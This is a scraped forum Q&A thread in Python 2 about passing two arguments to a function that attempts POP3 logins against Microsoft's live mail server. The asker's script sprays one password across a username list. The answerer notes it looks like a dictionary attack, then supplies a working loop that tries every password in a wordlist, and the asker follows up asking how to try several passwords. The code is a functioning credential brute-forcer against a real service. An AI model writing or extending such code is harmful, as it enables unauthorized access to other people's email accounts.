Two arguments in one def?
First, here's my code:
import poplib
def con(pwd):
M = poplib.POP3_SSL('pop3.live.com', 995)
try:
M.user(pwd)
M.pass_('!@#$%^')
except:
print "[-]Not Found!:",pwd
else:
print '[+]Found password'
exit()
f = open("Str1k3r.txt", "r")
for pwd in f.readlines():
con(pwd.replace("\r",开发者_StackOverflow社区 "").replace("\n", ""))
I want have two argument in con
definition, so it would be like con(pwd,cod)
and M.pass_(cod)
, but it's doesn't work. How can I do this?
Assuming, the file "Str1k3r.txt" contains username and password in the first two lines, what you want to do is the following:
import poplib
def con(pwd, cod):
M = poplib.POP3_SSL('pop3.live.com', 995)
try:
M.user(pwd)
M.pass_(cod)
except:
print "[-]Not Found!:",pwd
else:
print '[+]Found password'
exit()
f = open("Str1k3r.txt", "r")
lines = f.readlines()
pwd = lines[0].rstrip('\r\n')
cod = lines[1].rstrip('\r\n')
con(pwd, cod)
EDIT:
Although that sounds like you're doing some kind of dictionary attack, but I'll assume, that you simply forgot your password ;)
So your bottom lines should look like this:
f = open("Str1k3r.txt", "r")
lines = f.readlines()
pwd = lines[0].rstrip('\r\n')
dictfile = open("pass.txt", "r")
for password in dictfile:
con(pwd, password.rstrip('\r\n'))
am thinking about that
import poplib
def con(pwd):
M = poplib.POP3_SSL('pop3.live.com', 995)
try:
M.user(pwd)
M.pass_(here how i can put four passwords ?)
except:
print "[-]Not Found!:",pwd
else:
print '[+]Found password'
exit()
f = open("Str1k3r.txt", "r")
for pwd in f.readlines():
con(pwd.replace("\r", "").replace("\n", ""))
am thinking put in M.pass_ like that M.pass_(123456 or 'abcdefj' or '=q-2oq2' ) but it's nor active as well i mean he try only 123456 no thing else
精彩评论